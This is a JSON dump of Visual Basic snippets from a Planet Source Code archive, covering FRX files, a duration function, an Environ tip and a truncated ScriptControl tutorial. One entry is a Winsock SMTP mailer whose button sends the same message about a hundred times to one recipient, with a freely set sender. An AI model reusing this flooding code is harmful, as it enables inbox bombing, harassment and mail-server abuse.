Planet Source Code Jumbo Resource CD Visual Basic 1 to 7

home *** CD-ROM | disk | FTP | other *** search

/ Planet Source Code Jumbo …e CD Visual Basic 1 to 7 / 2_2002-2004.ISO / Data / PscEnc.mdb / Code.json < prev next >

Wrap

Text File | 2005-06-15 | 15MB | 1 lines

{"schema":{"WorldId":"Long Integer NOT NULL","id":"Long Integer NOT NULL","LineNumber":"Long Integer NOT NULL","line":"Memo/Hyperlink (255)"},"data":[{"WorldId":1,"id":43172,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43177,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43572,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43579,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43580,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43585,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43598,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43599,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43605,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43607,"LineNumber":1,"line":"<META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=windows-1252\">\n<META NAME=\"Generator\" CONTENT=\"Microsoft Word 97\">\n<TITLE>FRX FILES</TITLE>\n</HEAD>\n\nFRX FILES WHY YOU SHOULD UPLOAD THEM (Updated)\nOne of the most irritating things I have found in many uploads (at PSC and elsewhere) is that people leave out the FRX files. \nIf you set any richtext, picture or icon properties of a Control in the IDE then VB automatically generates FRX files when you run the program in the IDE. \nThe FRX file is named after the corresponding frm file. \nThe FRX file contains a binary image of the richtext, picture or icon or at least a blank record position for a potential binary image (always in case of richtext, only if you load one for picture/icon). \nUPDATE\n\nDan Redding adds that FRX's also contain: \n -- Really long label captions -- The 'List' property of ListBoxes and ComboBoxes (if you type it in in the IDE properties window)\n \nJim K adds that UserControls have an equivalent file called CTX which serves the same purpose and UserDocuments have a DCA file\t \n\nTERMS USED (in case you are new to VB conventions)\nIDE Intergrated Development Environment. (VB to most of us)\n'Delete from IDE' Select the property (Text/Icon/Picture) in the Properties Window. Press [Del] button.\n'Cut' Use right-click menu or [Ctrl]+[C] to remove selected Control to Clipboard.\n'Paste' Use right-click menu or [Ctrl]+[V] to restore Control from clipboard.\n'Open/Close NotePad' Because you will be updating the contents of the frm file, you will have to open and close it repeatedly to see changes.\nDEMONSTRATION\nCreate a form with RichTextBox, PictureBox and Image controls. \nRun (and Save) code. \nStop code. \nOpen Explorer in project folder.\nOpen the frm file in NotePad. \nYou will see that the RichTextBox definition contains a line similar to this:\nTextRTF = $\"Form1.frx\":3A1EE8<DIR>\n<DIR>\nThis value has 4 parts \n1. '$' = Marker for external file reference (I assume)\n2. FRX filename (enclosed in quotes as a file name may have spaces) \n(The exact name of the file will be <form_filename> & '.FRX' extention.)\n3. Separator character ':' \n4. Pointer to the data description in the FRX file. \nThe exact value of this is assigned by VB. DO NOT try to edit these yourself, VB takes care of them (mostly; see comments below about HANDLING FRX DATA).</DIR>\n</DIR>\nClose NotePad.\nNote the size of FRX file.\nNow in IDE add an Icon to the form and big pictures to the Image and PictureBox controls.\nOpen the frm file in NotePad. Note that there are no references to Icon or Picture in the control definitions, yet.\nClose NotePad.\nRun code. \nStop code. \nOpen the frm file in NotePad. Note the new references to the FRX file.\nClose NotePad.\nNote the new size of FRX file.\nIn IDE Delete the Icon, Image and PictureBox Pictures.\nRun code. \nStop code. \nOpen the frm file in NotePad. Note the Icon and Picture references are gone.\nClose NotePad.\nNote the size of FRX file has not changed.\nWhat's going on? see next section.\nHANDLING FRX DATA\nWhen RichTextBox was added to VB the MS coders wrote new handling routines and it cleans up after itself but the older picture/icon handling was not updated so you need to be aware of the following issues.\n If you delete the image/picture/icon from the IDE the record is NOT destroyed. This means that the FRX may contain an enormous BMP file which you do not (in fact cannot) use. To keep your upload small you need to force VB to rewrite the FRX file. \nThere are 2 ways of doing this:\n1. If you want to stay in the IDE:\n Cut the control from the form. \n Run the code in the IDE (This automatically rewrites the FRX file). \n Paste the Control back on the Form and delete the picture (before running the code again). \nWARNING Be careful that you don't overwrite the Control in the clipboard while doing this by sending something else to the clipboard.\n2. If you are happy to jump between IDE and Explorer:\n Delete the picture/icon in the IDE. \n Manually delete the FRX file in Explorer. \n Run the code in the IDE (This automatically rewrites the FRX file).\nNOTE: If you replace the image/picture/icon from the IDE it replaces the previous data and VB updates the FRX file automatically, you don't need to do anything.\n \nSO WHY UPLOAD FRX FILES?\n<OL>\n<LI>It looks more professional:</LI>\nIf you don't upload the FRX file then VB generates a loading error and creates a log file with contents something like this\n 'Line 9: Property Icon in frmAddIn had an invalid file reference.' \n Where Line 9 is the line in the frm file and Icon is looking for the FRX file named in the value.\nNOTE this is line number of actual file, NOT what is displayed in the IDE.\nThis bugs anyone downloading your code and probably frightens new coders off immediately.\n\nAlso if you supply the graphic files but not the FRX file it may not be clear which graphic goes into which control and VB certainly won't know anything about them anyway.\n \n<LI>Security:</LI></OL>\n<DIR>\n<DIR>\nIf a graphic is in an FRX file you don't need to supply the original and end users cannot change (and mess up your code) easily.\n </DIR>\n</DIR>\n \n © 2003 Roger Gilchrist\ne-mail: rojagilkrist@hotmail.com\nLATE NEWS\nDespite what I said above about not being able to access images stored in the FRX file a very clever coder has found a way. This even works for images deleted from the IDE but still in the file. Unfortunately his name (I remember his author's picture so yes he is a he) is not in the code but just go to following at PSC to download it.\n'Images from frx' at http://www.Planet-Source-Code.com/vb/scripts/ShowCode.asp?txtCodeId=43419&lngWId=1\n \n \n\n"},{"WorldId":1,"id":43619,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43623,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43627,"LineNumber":1,"line":"Public Function Duration(ByVal InSeconds As Long) As String \nDim Seconds As Long, mins As Long, Hours As Long, Days As Long \nSeconds = InSeconds Mod 60 \nmins = (InSeconds \\ 60) Mod 60 \nHours = ((InSeconds \\ 60) \\ 60) Mod 24 \nDays = ((InSeconds \\ 60) \\ 60) \\ 24 \nDuration = Days & " days " & Format$(Hours, "00") & ":" & Format$(mins, "00") & \n":" & Format$(Seconds, "00") \nEnd Function"},{"WorldId":1,"id":43633,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43638,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43640,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43648,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43652,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43655,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43664,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43674,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43675,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43677,"LineNumber":1,"line":"Open All mp3 Files \nGood For Learning People\nMade By :Ayman Atmeh\nAmman,Jordan\nAyman_60@yahoo.com"},{"WorldId":1,"id":43681,"LineNumber":1,"line":"\nAdd 6 text boxes. Call them txtToEmailAddress, txtFromEmailAddress, txtFromName, txtEmailSubject, txtEmailServer, txtMessage\nAdd 1 label called StatusTxt\nAdd Winsock. Project>Components>Microsoft Winsock Control 6.0 and check the box.\nAnd last of all add 1 command button called CmdSendMail Now just insert the code below and run your program.\nDim Response As String\nDim Start As Single, Tmr As Single\nSub SendEmail(MailServerName As String, FromName As String, FromEmailAddress As String, ToName As String, ToEmailAddress As String, EmailSubject As String, EmailBodyOfMessage As String)\nDim DateNow As String\nDim first As String, Second As String, Third As String\nDim Fourth As String, Fifth As String, Sixth As String\nDim Seventh As String\nWith Winsock1\n If .State = sckClosed Then ' Check to see if socket is closed\n DateNow = Format(Date, \"Ddd\") & \", \" & Format(Date, \"dd Mmm YYYY\") & \" \" & Format(Time, \"hh:mm:ss\") & \"\" & \" -0600\"\n first = \"mail from: \" & FromEmailAddress & vbCrLf ' Get who's sending E-Mail address\n Second = \"rcpt to: \" & ToEmailAddress & vbCrLf ' Get who mail is going to\n Third = \"Date: \" & DateNow & vbCrLf ' Date when being sent\n Fourth = \"From: \"\"\" & FromName & \"\"\" <\" & FromEmailAddress & \">\" + vbCrLf ' Who's Sending\n Fifth = \"To: \" & ToNametxt & vbCrLf ' Who it going to\n Sixth = \"Subject: \" & EmailSubject & vbCrLf ' Subject of E-Mail\n Seventh = EmailBodyOfMessage & vbCrLf ' E-mail message body\n Ninth = \"X-Mailer: STMP Sender\" & vbCrLf ' What program sent the e-mail, customize this\n .LocalPort = 0 ' Must set local port to 0 (Zero) or you can only send 1 e-mail per program start\n .Protocol = sckTCPProtocol ' Set protocol for sending\n .RemoteHost = MailServerName ' Set the server address\n .RemotePort = 25 ' Set the SMTP Port\n .Connect ' Start connection\n WaitFor (\"220\")\n StatusTxt.Caption = \"Connecting....\"\n .SendData (\"HELO EnterComputerNameHere\" & vbCrLf)\n WaitFor (\"250\")\n StatusTxt.Caption = \"Connected\"\n .SendData (first)\n StatusTxt.Caption = \"Sending Message\"\n WaitFor (\"250\")\n .SendData (Second)\n WaitFor (\"250\")\n .SendData (\"data\" & vbCrLf)\n WaitFor (\"354\")\n .SendData (Fourth & Third & Ninth & Fifth & Sixth & vbCrLf)\n .SendData (Seventh & vbCrLf)\n .SendData (\".\" & vbCrLf)\n WaitFor (\"250\")\n .SendData (\"quit\" & vbCrLf)\n StatusTxt.Caption = \"Disconnecting\"\n WaitFor (\"221\")\n .Close\n Else\n MsgBox (Str(.State))\n End If\nEnd With\nEnd Sub\nSub WaitFor(ResponseCode As String)\n Start = Timer ' Time event so won't get stuck in loop\n While Len(Response) = 0\n Tmr = Start - Timer\n DoEvents ' Let System keep checking for incoming response **IMPORTANT**\n If Tmr > 50 Then ' Time in seconds to wait\n MsgBox \"SMTP service error, timed out while waiting for response\", 64, MsgTitle\n Exit Sub\n End If\n Wend\n While Left(Response, 3) <> ResponseCode\n DoEvents\n If Tmr > 50 Then\n MsgBox \"SMTP service error, impromper response code. Code should have been: \" + ResponseCode + \" Code recieved: \" + Response, 64, MsgTitle\n Exit Sub\n End If\n Wend\n Response = \"\" ' Sent response code to blank **IMPORTANT**\nEnd Sub\nPrivate Sub CmdSendMail_Click()\n MsgBox (\"Please wait while the emails are sent... This could take serveral minutes!\")\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtMessage.Text\n StatusTxt.Caption = \"Mail Sent\"\n Beep\n Close\nEnd Sub\nPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)\n Winsock1.GetData Response ' Check for incoming response *IMPORTANT*\nEnd Sub"},{"WorldId":1,"id":43685,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43686,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43687,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43691,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43694,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43696,"LineNumber":1,"line":"In the debug window type the following:\nFor x = 1 to 80: ? Environ(x): next x\nWhat is returned can also be used in your code. The Environ function is inlcuded in the vb runtime.\ne.g. \nstrWinDirectory = Environ(\"windir\")\nNo need to vote, just hope this helps someone.\n"},{"WorldId":1,"id":43697,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43698,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43705,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43710,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43715,"LineNumber":1,"line":"The Scripting Control allows users to put VBScript into your programs, to let them expand on the functions of the program. \nIn the zip, I included a program that teaches you how to let users use VBScript in your programs and return values based on other values. Second, I included a spreadsheet program, which 1) saves and opens its own file type 2) associates its file type so it opens when you click the file 3) lets you type in formulas into the cells like in Excel. Now for the tutorial! \nFirst, I'll teach you how to create an instance of the Scripting Control without loading it as a component. \n\nSub scriptTut() \nDim scriptCTL 'dim the control \nSet scriptCTL = CreateObject(\"ScriptControl\") \n'create the control \nscriptCTL.language = \"VBScript\" 'set the language \n'now you can run commands on the ScriptControl just like a normal one 'ill teach you how to do that now \nEnd Sub \n<hr>\nThere are many ways to use the ScriptControl. The simplest way is to use 